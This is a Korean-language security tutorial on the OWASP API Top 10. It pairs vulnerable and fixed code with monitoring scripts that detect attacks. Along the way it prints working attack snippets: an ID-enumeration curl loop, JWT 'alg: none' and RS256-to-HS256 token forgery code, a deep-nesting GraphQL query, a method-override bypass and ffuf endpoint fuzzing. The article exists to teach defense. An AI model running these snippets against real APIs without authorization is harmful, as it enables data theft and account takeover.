/보안 기법/API 보안 취약점 — OWASP API Top 10
웹 취약점2026-05-03

API 보안 취약점 — OWASP API Top 10

---

#API#OWASP#REST#GraphQL#BOLA#Mass Assignment

기본 원리

API(Application Programming Interface)는 현대 웹 애플리케이션의 핵심 통신 레이어다. 모바일 앱, SPA(Single Page Application), 서드파티 서비스 연동 등 거의 모든 현대 서비스가 REST, GraphQL, gRPC 등의 API를 통해 동작한다.

API 보안이 일반 웹 보안과 다른 이유가 있다. API는 기계 대 기계 통신을 전제로 설계되기 때문에 UI 레이어의 보안 검증이 우회된다. 버튼이 비활성화되어 있어도 API를 직접 호출하면 해당 기능을 사용할 수 있다. 또한 API는 데이터를 직접 노출하므로, 하나의 취약점이 대량의 데이터 유출로 이어진다.

OWASP는 2023년 기준 API 보안 Top 10을 발표했으며, 이 문서는 가장 영향력 높은 취약점들을 심층 분석한다.

클라이언트                    API 서버                    데이터베이스
    │                            │                            │
    │  GET /api/orders/1234       │                            │
    │ ─────────────────────────► │                            │
    │                            │  SELECT * FROM orders      │
    │                            │  WHERE id = 1234           │
    │                            │ ─────────────────────────► │
    │                            │ ◄───────────────────────── │
    │ ◄───────────────────────── │                            │
    │                            │                            │
    │  GET /api/orders/1235       │  ← 다른 사용자의 주문!     │
    │  (인가 검사 없으면 접근)    │                            │

API1: BOLA (Broken Object Level Authorization) / IDOR

OWASP API Top 10의 1위. 객체 수준의 인가 검사 부재로 발생한다. 요청한 리소스가 요청자의 것인지 확인하지 않는 것이다.

취약한 코드

// 취약한 Express.js API
app.get('/api/orders/:orderId', authenticateToken, async (req, res) => {
  const { orderId } = req.params;
  
  // ❌ 취약: 현재 사용자가 이 주문의 소유자인지 확인하지 않음
  const order = await db.query(
    'SELECT * FROM orders WHERE id = ?', [orderId]
  );
  
  res.json(order);
});

// 공격자는 orderId를 1, 2, 3... 순서로 변경하며 모든 주문 열람 가능
// GET /api/orders/1001 → 내 주문
// GET /api/orders/1002 → 다른 사람 주문 (취약)
# 취약한 Django REST Framework 뷰
class OrderDetailView(APIView):
    def get(self, request, order_id):
        # ❌ 취약: filter에 user 조건 없음
        order = Order.objects.get(id=order_id)
        return Response(OrderSerializer(order).data)

안전한 코드

// 안전한 Express.js API
app.get('/api/orders/:orderId', authenticateToken, async (req, res) => {
  const { orderId } = req.params;
  const userId = req.user.id;  // JWT에서 추출한 실제 사용자 ID
  
  // ✅ 안전: WHERE 절에 user_id 조건 추가
  const order = await db.query(
    'SELECT * FROM orders WHERE id = ? AND user_id = ?',
    [orderId, userId]
  );
  
  if (!order) {
    return res.status(403).json({ error: 'Access denied' });
  }
  
  res.json(order);
});
# 안전한 Django REST Framework 뷰
class OrderDetailView(APIView):
    def get(self, request, order_id):
        # ✅ 안전: request.user로 소유권 필터링
        order = get_object_or_404(
            Order,
            id=order_id,
            user=request.user  # 핵심: 사용자 조건 추가
        )
        return Response(OrderSerializer(order).data)

공격 실습 예시

# 정상 요청으로 내 order ID 확인
curl -H "Authorization: Bearer <MY_TOKEN>" \
     https://api.example.com/api/orders/5432

# BOLA 공격: 다른 사용자의 order ID 시도
for i in $(seq 5400 5500); do
  response=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer <MY_TOKEN>" \
    https://api.example.com/api/orders/$i)
  if [ "$response" == "200" ]; then
    echo "Found order: $i"
    curl -H "Authorization: Bearer <MY_TOKEN>" \
         https://api.example.com/api/orders/$i
  fi
done

# UUID 기반 ID도 안전하지 않음 (로그, 오류 메시지에서 노출 가능)
# GET /api/orders/550e8400-e29b-41d4-a716-446655440000

API2: 인증 취약점 (Broken Authentication)

JWT 구현 오류, 약한 비밀번호 정책, 토큰 만료 미처리 등이 포함된다.

JWT 알고리즘 혼동 공격

# 취약한 JWT 검증 (알고리즘 명시 없음)
import jwt

# ❌ 취약: algorithms 파라미터 없음
# 공격자가 "alg": "none"으로 서명 없이 토큰 위조 가능
def verify_token(token):
    return jwt.decode(token, PUBLIC_KEY)

# 공격: alg를 none으로 설정한 토큰 생성
import base64, json

header = base64.b64encode(
    json.dumps({"alg": "none", "typ": "JWT"}).encode()
).decode().rstrip('=')
payload = base64.b64encode(
    json.dumps({"user_id": 1, "role": "admin"}).encode()
).decode().rstrip('=')
# 서명 없는 토큰
malicious_token = f"{header}.{payload}."
# 안전한 JWT 검증
import jwt

def verify_token(token):
    # ✅ 안전: 허용 알고리즘 명시, RS256/ES256 권장
    return jwt.decode(
        token,
        PUBLIC_KEY,
        algorithms=["RS256"],  # none 알고리즘 자동 거부
        options={"verify_exp": True}
    )

JWT RS256 → HS256 알고리즘 혼동

# 공격: RS256 공개키를 HS256의 비밀키로 사용
# 서버가 RS256과 HS256을 모두 허용하는 경우

# 공격자가 공개키(PUBLIC_KEY)를 알고 있을 때
# HS256으로 서명된 토큰을 만들면 서버가 공개키로 검증 시도
import jwt

# 공개키로 HS256 서명 (서버가 이를 검증하면 성공)
public_key = open('public_key.pem').read()
malicious_token = jwt.encode(
    {"user_id": 999, "role": "admin"},
    public_key,       # 공개키를 비밀키로 사용
    algorithm="HS256"  # 서버가 RS256 → HS256 다운그레이드 허용 시
)

API Rate Limiting 부재

# 브루트포스 공격 가능한 취약한 로그인 엔드포인트
@app.route('/api/auth/login', methods=['POST'])
def login():
    username = request.json['username']
    password = request.json['password']
    # ❌ Rate limiting 없음 → 무제한 시도 가능
    user = authenticate(username, password)
    ...

# 안전한 구현: Flask-Limiter 사용
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(app, key_func=get_remote_address)

@app.route('/api/auth/login', methods=['POST'])
@limiter.limit("5 per minute; 20 per hour")  # ✅ Rate limiting
def login():
    ...

API3: 객체 속성 수준 인가 (Broken Object Property Level Authorization)

Mass Assignment(과도한 속성 할당)와 과도한 데이터 노출이 이 범주에 포함된다.

Mass Assignment 취약점

// 취약한 Node.js/Express
app.put('/api/users/profile', authenticateToken, async (req, res) => {
  const userId = req.user.id;
  
  // ❌ 취약: 요청 body를 그대로 DB에 저장
  // 공격자가 { "name": "Alice", "role": "admin" } 전송 시
  // role이 admin으로 변경됨
  await User.findByIdAndUpdate(userId, req.body);
  
  res.json({ message: 'Updated' });
});
// 안전한 구현: 허용 필드 명시(allowlist)
app.put('/api/users/profile', authenticateToken, async (req, res) => {
  const userId = req.user.id;
  
  // ✅ 안전: 허용된 필드만 추출
  const { name, email, bio, avatar } = req.body;  // allowlist
  const allowedUpdates = { name, email, bio, avatar };
  
  // undefined 제거
  Object.keys(allowedUpdates).forEach(
    key => allowedUpdates[key] === undefined && delete allowedUpdates[key]
  );
  
  await User.findByIdAndUpdate(userId, allowedUpdates);
  res.json({ message: 'Updated' });
});
# Django - 취약한 구현
class UserUpdateView(APIView):
    def put(self, request):
        user = request.user
        # ❌ 취약: 모든 필드 허용
        serializer = UserSerializer(user, data=request.data)
        if serializer.is_valid():
            serializer.save()
        return Response(serializer.data)

# 안전한 Django 구현
class UserSerializer(serializers.ModelSerializer):
    class Meta:
        model = User
        # ✅ 안전: 읽기/쓰기 가능 필드 명시
        fields = ['name', 'email', 'bio', 'avatar']
        read_only_fields = ['id', 'role', 'is_admin', 'created_at']

과도한 데이터 노출

// ❌ 취약: 민감 정보 포함한 전체 객체 반환
app.get('/api/users/:userId', async (req, res) => {
  const user = await User.findById(req.params.userId);
  res.json(user);  // password_hash, ssn, credit_card 등 포함 가능
});

// ✅ 안전: 필요한 필드만 선택적으로 반환
app.get('/api/users/:userId', async (req, res) => {
  const user = await User.findById(req.params.userId)
    .select('name email avatar bio created_at -_id');  // 명시적 필드 선택
  res.json(user);
});

API4: 리소스 소비 제한 없음 (Unrestricted Resource Consumption)

# 취약한 GraphQL - 깊은 쿼리로 서버 부하 유발
# 공격자가 전송하는 악성 쿼리
malicious_query = """
{
  user(id: "1") {
    friends {
      friends {
        friends {
          friends {
            friends {
              friends {  # 깊이 100+ 중첩
                name email
              }
            }
          }
        }
      }
    }
  }
}
"""

# 안전한 GraphQL 설정 (graphene-django 예시)
from graphene_django.views import GraphQLView
from graphql_depth_limit import depth_limit_validator

GRAPHQL_MAX_DEPTH = 5
GRAPHQL_MAX_COMPLEXITY = 100

# depth_limit_validator 미들웨어 적용
class SecureGraphQLView(GraphQLView):
    def execute_graphql_request(self, *args, **kwargs):
        # 쿼리 깊이 제한
        return super().execute_graphql_request(
            *args,
            validation_rules=[depth_limit_validator(GRAPHQL_MAX_DEPTH)],
            **kwargs
        )

API5 & API6: 기능 수준 인가 및 민감 비즈니스 흐름

# API 버저닝 취약점: 구버전 API 우회
# /api/v2/admin/users  → 인증 필요
# /api/v1/admin/users  → 인증 없음 (취약한 구버전)

# HTTP 메서드 기반 인가 우회
# GET /api/posts/1  → 허용
# DELETE /api/posts/1  → 허용 (삭제 권한 없는 사용자도)

# 공격: PUT → PATCH → X-HTTP-Method-Override 헤더 우회
curl -X POST https://api.example.com/api/admin/users/delete \
  -H "X-HTTP-Method-Override: DELETE" \
  -H "Authorization: Bearer <USER_TOKEN>"  # 일반 사용자 토큰

API8: 보안 설정 오류

GraphQL 인트로스펙션

# GraphQL 인트로스펙션 쿼리 - API 전체 스키마 열람
curl -X POST https://api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{
    "query": "{ __schema { types { name fields { name type { name } } } } }"
  }'

# 프로덕션에서는 인트로스펙션 비활성화
# Apollo Server 예시
const server = new ApolloServer({
  typeDefs,
  resolvers,
  introspection: process.env.NODE_ENV !== 'production',  // ✅
  playground: process.env.NODE_ENV !== 'production',      // ✅
});

CORS 오설정

// ❌ 취약: 모든 출처 허용
app.use(cors({ origin: '*', credentials: true }));
// credentials: true와 origin: '*' 조합은 브라우저가 차단하지만
// 일부 구현에서 우회 가능

// ✅ 안전: 허용 출처 명시
const allowedOrigins = ['https://app.example.com', 'https://admin.example.com'];
app.use(cors({
  origin: (origin, callback) => {
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization']
}));

API9: 부적절한 자산 관리

# 숨겨진 API 엔드포인트 탐색
# ffuf로 API 경로 퍼징
ffuf -u https://api.example.com/api/FUZZ \
     -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/api-endpoints.txt \
     -mc 200,201,204 \
     -H "Authorization: Bearer <TOKEN>"

# 구버전 API 문서에서 노출된 엔드포인트 확인
# Wayback Machine, Shodan, GitHub 검색
curl "https://web.archive.org/web/*/https://api.example.com/v1/*"

# Swagger/OpenAPI 문서 자동 탐색
ffuf -u https://api.example.com/FUZZ \
     -w - << 'EOF'
swagger.json
swagger.yaml
openapi.json
openapi.yaml
api-docs
api-docs.json
v1/swagger
v2/api-docs
EOF

방어 방법

통합 API 보안 미들웨어 구현

# FastAPI 보안 미들웨어 예시
from fastapi import FastAPI, Request, HTTPException
from fastapi.middleware.cors import CORSMiddleware
from slowapi import Limiter
from slowapi.util import get_remote_address
import jwt
import time

app = FastAPI()
limiter = Limiter(key_func=get_remote_address)

# 1. CORS 설정
app.add_middleware(
    CORSMiddleware,
    allow_origins=["https://app.example.com"],
    allow_credentials=True,
    allow_methods=["GET", "POST", "PUT", "DELETE"],
    allow_headers=["*"],
)

# 2. 보안 헤더 미들웨어
@app.middleware("http")
async def add_security_headers(request: Request, call_next):
    response = await call_next(request)
    response.headers["X-Content-Type-Options"] = "nosniff"
    response.headers["X-Frame-Options"] = "DENY"
    response.headers["Strict-Transport-Security"] = "max-age=31536000"
    response.headers["Cache-Control"] = "no-store"
    return response

# 3. 요청 크기 제한
@app.middleware("http")
async def limit_request_size(request: Request, call_next):
    MAX_SIZE = 1 * 1024 * 1024  # 1MB
    content_length = request.headers.get("content-length")
    if content_length and int(content_length) > MAX_SIZE:
        raise HTTPException(status_code=413, detail="Request too large")
    return await call_next(request)

# 4. 인가 유틸리티 - BOLA 방지
async def check_object_ownership(object_id: int, user_id: int, model):
    """모든 객체 접근에 소유권 검사 강제"""
    obj = await model.get(id=object_id, user_id=user_id)
    if not obj:
        raise HTTPException(status_code=403, detail="Forbidden")
    return obj

API 게이트웨이 수준 보안

# Kong API Gateway 설정 예시
# rate-limiting 플러그인
plugins:
  - name: rate-limiting
    config:
      minute: 100
      hour: 1000
      policy: redis
      redis_host: redis

  - name: jwt
    config:
      secret_is_base64: false
      claims_to_verify:
        - exp
        - nbf

  - name: request-size-limiting
    config:
      allowed_payload_size: 1  # 1MB

  - name: bot-detection
    config:
      deny: [curl, wget, python-requests]  # 자동화 탐지

탐지 방법

API 이상 탐지 모니터링

# 이상 접근 패턴 탐지 (Elasticsearch + Python)
from elasticsearch import Elasticsearch
from datetime import datetime, timedelta
import statistics

es = Elasticsearch()

def detect_bola_attack():
    """동일 사용자가 비정상적으로 많은 고유 오브젝트 ID 접근 탐지"""
    query = {
        "query": {
            "bool": {
                "must": [
                    {"range": {"@timestamp": {"gte": "now-1h"}}},
                    {"match": {"request.path": "/api/orders/"}}
                ]
            }
        },
        "aggs": {
            "by_user": {
                "terms": {"field": "user_id"},
                "aggs": {
                    "unique_objects": {
                        "cardinality": {"field": "object_id"}
                    }
                }
            }
        }
    }
    
    result = es.search(index="access-logs-*", body=query)
    
    for bucket in result['aggregations']['by_user']['buckets']:
        user_id = bucket['key']
        unique_count = bucket['unique_objects']['value']
        
        # 정상 사용자: 시간당 1~5개 오브젝트 접근
        # 이상: 50개 이상 접근 → 공격 의심
        if unique_count > 50:
            alert(f"Possible BOLA: user {user_id} accessed {unique_count} unique objects")
# 로그 기반 API 이상 탐지 (nginx access log)
# 동일 IP에서 순차적 ID 접근 탐지
awk '{print $1, $7}' /var/log/nginx/access.log | \
  grep "/api/orders/" | \
  awk '{match($2, /\/([0-9]+)$/, id); print $1, id[1]}' | \
  sort | \
  awk '{
    if ($1 == prev_ip) {
      if ($2 == prev_id + 1) seq++; else seq=1
      if (seq > 10) print "Sequential ID scan:", $1, "at", $2
    }
    prev_ip=$1; prev_id=$2
  }'

참고 도구 및 자원

도구/자원 분류 설명
OWASP API Security Top 10 가이드라인 API 보안 취약점 공식 목록 (owasp.org/API-Security)
Postman 테스트 API 테스트 및 보안 검사
Burp Suite 프록시/테스트 HTTP 인터셉트 및 API 취약점 테스트
OWASP ZAP 스캐너 자동화 API 취약점 스캔 (무료)
ffuf 퍼징 API 엔드포인트 퍼징 도구
GraphQL Voyager GraphQL GraphQL 스키마 시각화
InQL GraphQL Burp Suite용 GraphQL 보안 스캐너
jwt_tool JWT JWT 토큰 분석 및 취약점 테스트
Swagger/OpenAPI 문서화 API 명세 및 자동 문서화
Kong API 게이트웨이 오픈소스 API 게이트웨이 (Rate Limiting 등)
42Crunch API 보안 OpenAPI 명세 기반 보안 검사
Traceable AI 런타임 보안 AI 기반 API 이상 탐지

⚠️ 주의사항: API 보안 테스트는 반드시 자신이 운영하거나 명시적 허가를 받은 API에 대해서만 수행해야 한다. 타인의 API에 대한 무단 퍼징, ID 순회, 인증 우회 시도는 불법이다. 특히 클라우드 서비스의 API를 무단으로 테스트하면 서비스 약관 위반 및 법적 책임이 발생한다. 자사 API에 대한 보안 테스트 시에도 프로덕션 환경 대신 스테이징/테스트 환경을 사용하고, 실제 사용자 데이터가 포함된 엔드포인트 테스트는 더욱 신중하게 진행한다.

⚠️ 이 글의 내용은 교육 및 허가된 침투 테스트 목적으로만 사용해야 합니다. 무단으로 타인의 시스템에 적용하는 것은 법적 처벌을 받을 수 있습니다.